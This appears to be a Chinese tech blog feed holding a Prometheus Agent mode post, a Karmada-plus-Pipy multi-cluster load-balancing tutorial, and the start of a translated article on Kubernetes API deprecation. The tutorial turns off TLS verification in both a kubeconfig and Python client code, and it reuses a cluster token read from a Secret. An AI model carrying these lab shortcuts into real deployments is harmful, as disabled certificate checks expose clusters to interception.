&lt;h3 id=&#34;katacoda-教程-远程写入&#34;&gt;Katacoda 教程：远程写入&lt;/h3&gt;

&lt;p&gt;在 Prometheus 中这些都不新鲜，很多用户都在使用这种抓取应用信息后向远端进行写入的方式。&lt;/p&gt;

&lt;p&gt;要体验这种远端写入能力，推荐使用 Katacoda 提供的 &lt;a href=&#34;https://katacoda.com/thanos/courses/thanos/3-receiver&#34; target=&#34;_blank&#34;&gt;Prometheus 远程写入 Thanos 教程&lt;/a&gt;，其中解释了 Prometheus 远程转发的所有步骤。这个课程是免费的，注册账号尝试一下就好。&lt;/p&gt;

&lt;p&gt;这里用接收模式的 Thanos 作为远程存储。现在还可以使用大量与远程写入 API 兼容的其它项目。&lt;/p&gt;

&lt;p&gt;远程写入这么好，为什么还要给 Prometheus 加入 Agent 模式？&lt;/p&gt;

&lt;h2 id=&#34;prometheus-的-agent-模式&#34;&gt;Prometheus 的 Agent 模式&lt;/h2&gt;

&lt;p&gt;Prometheus v2.32.0 开始，用户可以使用测试版参数 &lt;code&gt;--enable-feature=agent&lt;/code&gt; 来启动启动 Prometheus。&lt;/p&gt;

&lt;p&gt;Agent 模式优化了远程写入的用例。它禁止了查询、告警和本地存储，取而代之的是一个自定义的 TSDB WAL。其它部分原封不动：抓取逻辑、服务发现和相关的配置。如果只是想把数据转发到远端的 Prometheus 服务器或其它兼容的项目，这种方式非常值得一试。工作方式如下图所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/agent.png&#34; alt=&#34;agent&#34; /&gt;&lt;/p&gt;

&lt;p&gt;如果你不想在本地进行查询和告警，只是把指标输出到外部，使用 Agent 有什么好处呢？&lt;/p&gt;

&lt;p&gt;第一个就是效率。Agent 中使用的 TSDB WAL 在转发成功后会立刻删除数据。如果远程端点无法连接，就会将数据保存起来，等待端点恢复。这种行为很像非 Agent 模式的 Prometheus，目前的缓冲有效期是两个小时，&lt;a href=&#34;https://github.com/prometheus/prometheus/issues/9607&#34; target=&#34;_blank&#34;&gt;未来可能打破&lt;/a&gt;这个限制。这样一来我们就无需分配大块内存，也不用为查询准备完全索引。代理模式的资源消耗比标准服务实例低得多。&lt;/p&gt;

&lt;p&gt;在边缘或者类似的环境中，CPU 和内存资源可能会很有限，效率是个非常重要的问题。另外目前使用指标进行监控的模式已经非常成熟。这意味着同样成本之下，能获得越多的监控指标，就越有性价比。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Agent 模式是针对特定使用场景的，标准模式的 Promethues Server 更稳定、更易维护，仍是缺省建议；Agent 模式的远端存储引入了更高的复杂性，还需谨慎使用。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;另外，Agent 模式便于搭建纵向伸缩的数据接收架构。&lt;/p&gt;

&lt;h3 id=&#34;指标接收端的弹性伸缩&#34;&gt;指标接收端的弹性伸缩&lt;/h3&gt;

&lt;p&gt;数据抓取侧的自动伸缩方案需要根据抓取目标和指标数量进行判断。抓取的数据越多，就要自动部署更多实例。如果目标和指标数量下降了，就应该进行缩容，移除部分实例。自动伸缩能够降低 Promethues 规模调整造成的手工操作负担，并防止低谷期间浪费系统资源。&lt;/p&gt;

&lt;p&gt;Server 模式的 Prometheus 是有状态的，很难应对这种需求。这种模式下搜集的数据保存在本地，缩容过程需要在中止实例之前将数据进行备份。接下来还要面对指标重叠、误导性的过期标记等问题。&lt;/p&gt;

&lt;p&gt;这种场景下，我们需要能够聚合所有实例所有数据的全局视图（例如 Thanos Query 或者 Promxy）来进行查询。普通模式下的 Prometheus 的职责不仅限于指标采集，还包含了告警、录制、查询、压缩、远程写入等，这些任务都会消耗资源。&lt;/p&gt;

&lt;p&gt;Agent 模式将服务发现、指标抓取和远程写入放到一个单独的服务中，如此就将工作焦点集中到了指标搜集上面。Agent 模式的 Prometheus 变得更加的“无状态”。是的为了防止数据丢失，我们需要部署一对 HA 实例，并挂接持久存储。但是技术上来说，我们有几千个目标（容器），我们可以部署多个 Prometheus Agent，安全地把抓取目标分配给特定实例。这么做的根本原因就是这些数据都会被推送给同一个中央存储。&lt;/p&gt;

&lt;p&gt;总的说来，Agent 模式的 Prometheus 让自动的水平伸缩成为可能，从而有了针对监控指标规模变更进行应对的能力。我们将会和 &lt;a href=&#34;https://github.com/prometheus-operator/prometheus-operator&#34; target=&#34;_blank&#34;&gt;Prometheus Kubernetes Operator&lt;/a&gt; 社区一起在这个方向努力。&lt;/p&gt;

&lt;p&gt;那么 Agent 模式的 Prometheus 是否真的可用呢？&lt;/p&gt;

&lt;h3 id=&#34;agent-模式得到了大规模验证&#34;&gt;Agent 模式得到了大规模验证&lt;/h3&gt;

&lt;p&gt;Prometheus 会把 Agent 模式作为实验性功能加入下一个版本。参数、API 以及 WAL 的格式会发生变更。但是这种实现的性能已经在 &lt;a href=&#34;https://grafana.com/&#34; target=&#34;_blank&#34;&gt;Grafana Lab&lt;/a&gt; 的帮助下得到了实际验证。&lt;/p&gt;

&lt;p&gt;Agent 的自定义 WAL 最初的实现是受到了 &lt;a href=&#34;https://github.com/rfratto&#34; target=&#34;_blank&#34;&gt;Robert Fratto&lt;/a&gt; 在 2019 年为 TSDB 实现的 WAL 的启发，期间得到了 Prometheus Maintainer &lt;a href=&#34;https://twitter.com/tom_wilkie&#34; target=&#34;_blank&#34;&gt;Tom Wilkie&lt;/a&gt; 的指导。这个格式后来被用于 &lt;a href=&#34;https://github.com/grafana/agent&#34; target=&#34;_blank&#34;&gt;Grafana Agent&lt;/a&gt; 项目，得到了很多 Grafana 云的用户的采用。这一方案的成熟后，捐献给了 Promethues，希望得到集成和更多的发展和采用。Grafana 实验室的 Robert 在 Redhat 的 Srikrishna 以及社区帮助下，把这些代码移植到了 Prometheus，然后只用了半个月就合并进入到 &lt;code&gt;main&lt;/code&gt; 分支。&lt;/p&gt;

&lt;p&gt;有些 Prometheus Maintainer 也曾经为 Grafana Agent 项目贡献过代码，Grafana 的新 WAL 格式也是受到了 Prometheus WAL 格式的启发，捐献的过程非常平滑，并且目前的 Prometheus TSDB Maintainer 也能够方便的进行管理。并且 Robot 已经加入 Prometheus 团队，成为 TSDB 的 Maintainer。&lt;/p&gt;

&lt;p&gt;接下来讲讲如何使用。&lt;/p&gt;

&lt;h3 id=&#34;如何使用-agent-模式&#34;&gt;如何使用 Agent 模式&lt;/h3&gt;

&lt;p&gt;Prometheus 的帮助（&lt;code&gt;--help&lt;/code&gt; 参数）内容中会看到类似内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;usage: prometheus [&amp;lt;flags&amp;gt;]

The Prometheus monitoring server

Flags:
  -h, --help                     Show context-sensitive help (also try --help-long and --help-man).
      (... other flags)
      --storage.tsdb.path=&amp;quot;data/&amp;quot;
                                 Base path for metrics storage. Use with server mode only.
      --storage.agent.path=&amp;quot;data-agent/&amp;quot;
                                 Base path for metrics storage. Use with agent mode only.
      (... other flags)
      --enable-feature= ...      Comma separated feature names to enable. Valid options: agent, exemplar-storage, expand-external-labels, memory-snapshot-on-shutdown, promql-at-modifier, promql-negative-offset, remote-write-receiver,
                                 extra-scrape-metrics, new-service-discovery-manager. See https://prometheus.io/docs/prometheus/latest/feature_flags/ for more details.

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Agent 模式是需要用 &lt;code&gt;--enable-feature=agent&lt;/code&gt; 参数的启用的。这种模式下能够使用同样的指标抓取配置以及远程写入能力。Agent 模式下，Web UI 的查询功能是被禁用的，只能用于展示构建信息、配置内容、抓取指标和服务发现信息。&lt;/p&gt;

&lt;h3 id=&#34;在-katacoda-上尝试-prometheus-agent&#34;&gt;在 Katacoda 上尝试 Prometheus Agent&lt;/h3&gt;

&lt;p&gt;可以&lt;a href=&#34;https://katacoda.com/thanos/courses/thanos/4-receiver-agent&#34; target=&#34;_blank&#34;&gt;在 Katacoda 上尝试 Promtheus Agent&lt;/a&gt;，真切体会其中的易用性。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>用 Karmada 和 Pipy 搭建野生多集群</title>
      <link>/post/wild-fleet-with-karmada-and-pp/</link>
      <pubDate>Sat, 30 Oct 2021 07:56:56 +0800</pubDate>
      <guid>/post/wild-fleet-with-karmada-and-pp/</guid>
      <description>

&lt;p&gt;最近加入 CNCF 成为沙箱项目的 &lt;a href=&#34;https://github.com/karmada-io/karmada&#34; target=&#34;_blank&#34;&gt;Karmada&lt;/a&gt; 项目是一个开放的多 Kubernetes 管理工具，从 Kubernetes Federation &lt;sup&gt;1&lt;/sup&gt;&amp;frasl;&lt;sub&gt;2&lt;/sub&gt; 继承的大量经验，让这个项目有成为多集群管理首选产品的潜力。Karmada 具有开箱即用的跨集群调度能力，简单的使用 &lt;code&gt;PropagationPolicy&lt;/code&gt; 就能将 &lt;code&gt;Deployment&lt;/code&gt;、&lt;code&gt;Service&lt;/code&gt; 这样的原生 Kubernetes 对象在多个集群之间进行灵活的调度。&lt;/p&gt;

&lt;p&gt;工作负载的分配结束之后，还有个重要的问题就是流量分配了——多集群管理加上流量分配，会有很多有意思的事情可以完成，例如蓝绿灰度金丝雀，集群维护升级等等。实际包括各种网格、API 网关方案在内的很多产品，都有提供跨集群流量管理方案可用。这个例子里我选择了 Pipy 来搭档完成任务，Flomesh 出品的这个东西可塑性很强，除了轻量、快速之外，更重要的是能够用高级语言对流量进行编程，最新版本还为插件模型加入了图形交互界面。&lt;/p&gt;

&lt;p&gt;整个原型大致架构如下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/karmada-pp.png&#34; alt=&#34;arch&#34; /&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;创建 Karmada 管理集群，并部署 Karmada。&lt;/li&gt;
&lt;li&gt;纳管两个集群，分别命名为 &lt;code&gt;member1&lt;/code&gt; 和 &lt;code&gt;member2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;部署 Deployment，并分布到两个集群&lt;/li&gt;
&lt;li&gt;部署 Service，用 NodePort 方式开放服务，分发到集群&lt;/li&gt;
&lt;li&gt;将暴露的服务端口同步给 Pipy，完成流量分发&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;部署-karmada-集群&#34;&gt;部署 Karmada 集群&lt;/h2&gt;

&lt;p&gt;Karmada 的远程部署需要有一个运行的 Kubernetes 集群，然后克隆代码库，运行其中的 &lt;code&gt;hack/remote-up-karmada.sh&lt;/code&gt; 脚本即可，命令行 &lt;code&gt;./remote-up-karmada.sh ~/.kube/config admin@v19&lt;/code&gt; 表示在 &lt;code&gt;~/.kube/config&lt;/code&gt; 配置文件中 &lt;code&gt;admin@v19&lt;/code&gt; 上下文所指代的集群中部署 Karmada 控制平面。&lt;/p&gt;

&lt;p&gt;部署之前，有两个需要注意的点：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;如果要在 &lt;code&gt;arm64&lt;/code&gt; 平台上运行，可以将脚本中的镜像改为 &lt;code&gt;dustise/****:v0.0009-29-gc2030ca6&lt;/code&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;如果像我一样偏偏使用 NodePort 方式暴露 Karmada API Server，在 &lt;code&gt;deploy-karmada.sh&lt;/code&gt; 的 203 行 &lt;code&gt;installCRDs&lt;/code&gt; 语句之前加入一个 &lt;code&gt;read -p &amp;quot;Review your kubeconfig, then press [Enter] key to continue..&amp;quot;&lt;/code&gt;，脚本运行至此会暂停工作，修改 kubeconfig 文件中新出现的 &lt;code&gt;karmada-apiserver&lt;/code&gt; 上下文中的服务器即可，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- cluster:
  insecure-skip-tls-verify: true
  server: https://10.211.55.58:32016
name: karmada-apiserver
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;安装器会在集群中生成 &lt;code&gt;kamada-system&lt;/code&gt; 命名空间，在其中运行一个自己的 API Server，用于提供集群管理服务，并拉取认证信息到指定 &lt;code&gt;Kubeconfig&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;纳管集群&#34;&gt;纳管集群&lt;/h2&gt;

&lt;p&gt;完成部署之后，可以在 Karmada 项目的 &lt;a href=&#34;https://github.com/karmada-io/karmada/releases&#34; target=&#34;_blank&#34;&gt;Release 页面&lt;/a&gt;上下载 &lt;code&gt;karmada&lt;/code&gt; 用客户端 &lt;code&gt;karmadactl&lt;/code&gt; 来加入集群了，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$  kubectl karmada join member2 \
--cluster-kubeconfig=./total.yaml \
--cluster-context=admin@karmada2
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;为了方便使用，上面的命令把 karmada 客户端设置成为了 &lt;code&gt;krew&lt;/code&gt; 插件，实际上直接解压使用二进制也是等效的。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;和部署控制平面的命令类似，Karmada CLI 也是使用指定 &lt;code&gt;kubeconfig&lt;/code&gt; 和上下文的方式，获取集群操作权限，把集群加入 Karmada。&lt;/p&gt;

&lt;p&gt;Karmada 加入新集群之后，会在它的管理面 API Server 中注册一个 Cluster 对象，下面是加入了两个集群之后的样子：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get clusters
NAME      VERSION    MODE   READY   AGE
member1   v1.19.15   Push   True    13h
member2   v1.19.15   Push   True    13h
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;操作成员集群&#34;&gt;操作成员集群&lt;/h2&gt;

&lt;p&gt;既然是对象，就可以看看他葫芦里卖的是什么 YAML 了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: cluster.karmada.io/v1alpha1
kind: Cluster
metadata:
  creationTimestamp: &amp;quot;2021-10-14T11:51:54Z&amp;quot;
  finalizers:
  - karmada.io/cluster-controller
  generation: 1
  name: member1
...
spec:
  apiEndpoint: https://10.211.55.61:6443
  secretRef:
    name: member1
    namespace: karmada-cluster
  syncMode: Push
status:
  apiEnablements:
  - groupVersion: v1
    resources:
    - kind: Binding
      name: bindings
    - kind: ComponentStatus
      name: componentstatuses
    - kind: ConfigMap
      name: configmaps
    - kind: Endpoints
      name: endpoints
    ...
  conditions:
  - lastTransitionTime: &amp;quot;2021-10-14T13:52:31Z&amp;quot;
    message: cluster is reachable and health endpoint responded with ok
    reason: ClusterReady
    status: &amp;quot;True&amp;quot;
    type: Ready
  kubernetesVersion: v1.19.15
  nodeSummary:
    readyNum: 1
    totalNum: 1
  resourceSummary:
    allocatable:
      cpu: &amp;quot;2&amp;quot;
      ephemeral-storage: &amp;quot;59200992363&amp;quot;
      hugepages-1Gi: &amp;quot;0&amp;quot;
      hugepages-2Mi: &amp;quot;0&amp;quot;
      hugepages-32Mi: &amp;quot;0&amp;quot;
      hugepages-64Ki: &amp;quot;0&amp;quot;
      memory: 1927288Ki
      pods: &amp;quot;110&amp;quot;
    allocated:
      cpu: &amp;quot;1&amp;quot;
      ephemeral-storage: &amp;quot;0&amp;quot;
      memory: 140Mi
      pods: &amp;quot;10&amp;quot;
    allocating:
      cpu: &amp;quot;0&amp;quot;
      ephemeral-storage: &amp;quot;0&amp;quot;
      memory: &amp;quot;0&amp;quot;
      pods: &amp;quot;0&amp;quot;

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;会发现这里对集群的描述很像节点，状态字段中包含了：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;资源情况&lt;/li&gt;
&lt;li&gt;可接受的对象类型&lt;/li&gt;
&lt;li&gt;运行状况&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;而 &lt;code&gt;spec&lt;/code&gt;字段中的内容则包含了集群的访问端点和一个对 Secret 对象的引用，查看一下其中的内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$  kubectl view-secret -n karmada-cluster member1
Multiple sub keys found. Specify another argument, one of:
-&amp;gt; caBundle
-&amp;gt; token
$ kubectl view-secret -n karmada-cluster member1 caBundle
-----BEGIN CERTIFICATE-----
MIIC5zCCAc+gAwIBAgIBADANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwprdWJl
...
-----END CERTIFICATE-----
$ kubectl view-secret -n karmada-cluster member1 token
eyJhbGciOiJSUzI1NiIsImtpZCI6ImRqZTY2OGVua0ltSHA2UGJ3LUZHQ0V
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看起来这是个访问 Kubernetes 使用的凭据，我们可以导出 caBundle 测试一下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl --certificate-authority=member1/caBundle.pem \
  --server=https://10.211.55.61:6443 --token=eyJhb...\
  get nodes
NAME       STATUS   ROLES    AGE   VERSION
karmada1   Ready    master   37h   v1.19.15
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;果然返回了集群信息。&lt;/p&gt;

&lt;p&gt;Karmada v0.9.0 中的 Cluster 对象属于 &lt;code&gt;cluster.karmada.io/v1alpha1&lt;/code&gt;，因此可以用如下代码获取集群信息：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;crd = client.CustomObjectsApi(karmada_config)
member_list = crd.list_cluster_custom_object(group=&amp;quot;cluster.karmada.io&amp;quot;,
                                             version=&amp;quot;v1alpha1&amp;quot;, plural=&amp;quot;clusters&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;而根据前面的尝试，用这个结果连接集群也是很方便的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;secret_name = member_obj[&amp;quot;spec&amp;quot;][&amp;quot;secretRef&amp;quot;][&amp;quot;name&amp;quot;]
secret_ns = member_obj[&amp;quot;spec&amp;quot;][&amp;quot;secretRef&amp;quot;][&amp;quot;namespace&amp;quot;]
secret_client = client.CoreV1Api(karmada_config)
secret_obj = secret_client.read_namespaced_secret(secret_name, secret_ns)
server_token = secret_obj.data[&amp;quot;token&amp;quot;]
server = member_obj[&amp;quot;spec&amp;quot;][&amp;quot;apiEndpoint&amp;quot;]
cfg = config.kube_config.Configuration()
cfg.host = server
cfg.api_key = {&#39;authorization&#39;: &#39;Bearer &#39; + base64.b64decode(server_token.encode(&amp;quot;ascii&amp;quot;)).decode(&amp;quot;ascii&amp;quot;)}
cfg.verify_ssl = False
api_client = client.api_client.ApiClient(cfg)
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;部署应用&#34;&gt;部署应用&lt;/h2&gt;

&lt;p&gt;创建一个 Deployment：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create deploy flask --image=dustise/flaskapp:v0.2.7
...
deployment.apps/flask scaled
$ kubectl get deploy
NAME    READY   UP-TO-DATE   AVAILABLE   AGE
flask   0/4     0            0           13h
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里我们创建一个 Deployment，并设置为四副本运行，在控制面看来，这个 Deployment 无法运行，也没有生成 Replicaset，接下来我们为它设置一个传播策略：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: policy.karmada.io/v1alpha1
kind: PropagationPolicy
metadata:
  name: flask
spec:
  resourceSelectors:
    - apiVersion: apps/v1
      kind: Deployment
      name: flask
  placement:
    clusterAffinity:
      clusterNames:
        - member1
        - member2
    replicaScheduling:
      replicaDivisionPreference: Weighted
      replicaSchedulingType: Divided
      weightPreference:
        staticWeightList:
          - targetCluster:
              clusterNames:
                - member1
            weight: 1
          - targetCluster:
              clusterNames:
                - member2
            weight: 1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交之后，可以看到成员集群按照我们设置的权重来创建 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ k1 get po ; k2 get po
NAME                     READY   STATUS    RESTARTS   AGE
flask-6d75654674-54c7p   1/1     Running   0          34s
flask-6d75654674-qgbjg   1/1     Running   0          34s
NAME                     READY   STATUS    RESTARTS   AGE
flask-6d75654674-7d5vl   1/1     Running   0          3s
flask-6d75654674-9ns6n   1/1     Running   0          112s
~~~
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;缩容到 2 实例：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;k1 get po ; k2 get po
NAME                     READY   STATUS        RESTARTS   AGE
flask-6d75654674-54c7p   0/1     Terminating   0          2m14s
flask-6d75654674-qgbjg   1/1     Running       0          2m14s
NAME                     READY   STATUS    RESTARTS   AGE
flask-6d75654674-9ns6n   1/1     Running   0          3m32s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Pod 运行起来之后，我们来部署一个 Service：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Service
metadata:
  labels:
    app: flask
  name: flask
spec:
  ports:
  - name: http
    port: 80
  selector:
    app: flask
  type: NodePort
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;创建之后，会发现 Karmada 为新服务分配了端口，Endpoint 是没有的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get svc
NAME         TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)        AGE
flask        NodePort    10.110.144.229   &amp;lt;none&amp;gt;        80:31193/TCP   13h
kubernetes   ClusterIP   10.96.0.1        &amp;lt;none&amp;gt;        443/TCP        41h
$ kubectl get ep
NAME         ENDPOINTS           AGE
kubernetes   10.211.55.58:5443   41h
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;同样创建一个 pp，把 Service 分配给集群。完成分发后就可以访问各个集群的服务了。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;有时候有人跟你说 PP 其实不是耍流氓，是在讨论 Karmada。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;用-pipy-做负载均衡&#34;&gt;用 Pipy 做负载均衡&lt;/h2&gt;

&lt;p&gt;Pipy 的部署很方便，在 Release 页面下载二进制即可。源码中的 &lt;code&gt;tutorial/08-load-balancing-improved&lt;/code&gt; 就是一个负载均衡的例子，这里我们对其配置做个简化：&lt;/p&gt;

&lt;p&gt;这个例子中的 &lt;code&gt;router&lt;/code&gt; 对象和 Kong Gateway 的概念类似，我们修改一下 &lt;code&gt;config/router.json&lt;/code&gt;，仅包含一个对 &lt;code&gt;/env/*&lt;/code&gt; 路径的转发：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
  &amp;quot;routes&amp;quot;: {
    &amp;quot;/env/*&amp;quot;: &amp;quot;flask&amp;quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;而 &lt;code&gt;config/balancer.js&lt;/code&gt; 中则包含了对负载均衡池的定义，原文内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
  &amp;quot;services&amp;quot;: {
    &amp;quot;service-hi&amp;quot;      : [&amp;quot;127.0.0.1:8080&amp;quot;, &amp;quot;127.0.0.1:8082&amp;quot;],
    &amp;quot;service-echo&amp;quot;    : [&amp;quot;127.0.0.1:8081&amp;quot;],
    &amp;quot;service-tell-ip&amp;quot; : [&amp;quot;127.0.0.1:8082&amp;quot;]
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;清理一下，只留下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
  &amp;quot;services&amp;quot;: {
    &amp;quot;flask&amp;quot;      : [&amp;lt;每个集群每个节点的 Flask 服务 NodePort&amp;gt;] 
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;启动 Pipy：&lt;code&gt;pipy --admin-port=8889 proxy.js&lt;/code&gt;，在 8889 启用了控制台端口，浏览器打开会看到类似界面：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/pipy-console.png&#34; alt=&#34;console&#34; /&gt;&lt;/p&gt;

&lt;p&gt;现在就可以在 &lt;code&gt;config/proxy.json&lt;/code&gt; 中定义的代理端口中上访问我们部署在 Kubernetes 中的服务了。整个流程都非常清楚，这个服务发生任何变化，把新的开放端口写入配置，刷新 Pipy 即可，大致代码如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;# 列出 Karmada 集群
for cluster in members[&amp;quot;items&amp;quot;]:
    member_name = cluster[&amp;quot;metadata&amp;quot;][&amp;quot;name&amp;quot;]
    logging.info(&amp;quot;Services in cluster {}&amp;quot;.format(member_name))
    cluster_client = karmada.get_member_client(cluster)
    # 查找服务
    services = karmada.list_service(cluster_client, &amp;quot;default&amp;quot;, {&amp;quot;app&amp;quot;: &amp;quot;flask&amp;quot;})
    # 每个集群的节点
    nodes = karmada.list_nodes(cluster_client)
    address_list = []
    port_list = []
    for node in nodes.items:
        addresses = node.status.addresses
        for address in addresses:
            if address.type == &amp;quot;InternalIP&amp;quot;:
                logging.info(&amp;quot;Found a node in {} with IP {}&amp;quot;.format(member_name, address.address))
                address_list.append(address.address)
                break
    for service in services.items:
        port_list.append(service.spec.ports[0].node_port)
        logging.info(&amp;quot;Found service named {} in cluster {}&amp;quot;.format(service.metadata.name, member_name))
    # 组装 URL
    for address in address_list:
        for port in port_list:
            lb_config[&amp;quot;services&amp;quot;][&amp;quot;flask&amp;quot;].append(&amp;quot;{}:{}&amp;quot;.format(address, port))
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;最终结果写入 Pipy 配置，管理页面重载配置就完成了刷新。此时访问 Pipy 在 pr​oxy.js 中定义的端口，就能看到负载均衡的效果了。&lt;/p&gt;

&lt;h2 id=&#34;其实没这么简单&#34;&gt;其实没这么简单&lt;/h2&gt;

&lt;p&gt;首先，我知道该用 watch ：）；&lt;/p&gt;

&lt;p&gt;其次，在管理界面刷新配置是个挺傻的事情，Pipy 提供了 &lt;a href=&#34;https://mp.weixin.qq.com/s/cDhPtNdng8_YZQpyFo5czw&#34; target=&#34;_blank&#34;&gt;Repo&lt;/a&gt; 功能，可以进行热加载。这个组件也是 Pipy 高可用和控制平面、GitOps 的命门所在。&lt;/p&gt;

&lt;p&gt;另外，在节点比较多的集群中，往往不会把所有节点用于暴露 NodePort，这时可以考虑使用节点标签来限制负载均衡池的生成情况。&lt;/p&gt;

&lt;p&gt;最后直接生成 &lt;code&gt;balancer.js&lt;/code&gt; 是个非常粗糙的行为，这种做法里，Pipy 必须独占，否则一次刷新可能就覆盖了其它服务的定义，因此这里最好能够使用 Annotation 或者 CRD 等方式，给集群、服务、节点做出标识，从而精确完成刷新过程。&lt;/p&gt;

&lt;h2 id=&#34;相关链接&#34;&gt;相关链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Karmada&lt;/strong&gt;：&lt;code&gt;https://github.com/karmada-io/karmada&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pipy&lt;/strong&gt;：&lt;code&gt;https://github.com/flomesh-io/pipy&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Pod 对象也能被淘汰么</title>
      <link>/post/could-pod-become-deprecated/</link>
      <pubDate>Sun, 24 Oct 2021 22:33:16 +0800</pubDate>
      <guid>/post/could-pod-become-deprecated/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://martinheinz.dev/blog/53&#34; target=&#34;_blank&#34;&gt;Could Kubernetes Pods Ever Become Deprecated?&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://martinheinz.dev/&#34; target=&#34;_blank&#34;&gt;Martin Heinz&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;随着时间的推移，所有的软件项目都会加入新的功能和 API，与此相对地，也会有功能和 API 被移除。Kubernetes 这样的大型项目也并无不同，但是核心 API 的废弃和删除，始终有些含混，Kubernetes 中的核心对象或者说是 API，例如 Pod、Deployment 和 Service，是不是可以删除呢？如果答案是肯定的，那么该如何进行呢？&lt;/p&gt;

&lt;h2 id=&#34;长话短说&#34;&gt;长话短说&lt;/h2&gt;

&lt;p&gt;GA 状态的核心 API，例如 &lt;code&gt;v1&lt;/code&gt; API 中的对象也是可能淘汰的。Kubernetes 中的的淘汰话题需要分为 API、CLI 以及 FeatureGate 这三个方面，每方面又会有自己的成熟阶段，例如 Alpha、Beta 或者 GA，这些成熟度的定义，就代表了在什么时间、什么条件下进行淘汰操作—— Pod 这样的东西也不能例外。因此本文尝试对这一问题进行进一步的探讨，看看过往的例子和一些未来的假设。&lt;/p&gt;

&lt;h2 id=&#34;分而治之&#34;&gt;分而治之&lt;/h2&gt;

&lt;p&gt;不同的对象或功能有不同的规则，所以在讨论淘汰规则之前，首先对这些淘汰目标进行分类：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;REST 对象&lt;/strong&gt;：这是绝大多数人最多打交道的东西，因此也是最引人关注的方向，这里包括了 Pod 或者 Deployment 这样的顶层对象，也包含了它们的成员字段，例如 &lt;code&gt;containers&lt;/code&gt;、&lt;code&gt;volumes&lt;/code&gt; 或者 &lt;code&gt;env&lt;/code&gt;；另外还有一些常量，例如 &lt;code&gt;imagePullPolicy&lt;/code&gt; 使用的 &lt;code&gt;Always&lt;/code&gt;、&lt;code&gt;IfNotPresent&lt;/code&gt; 等。&lt;/li&gt;
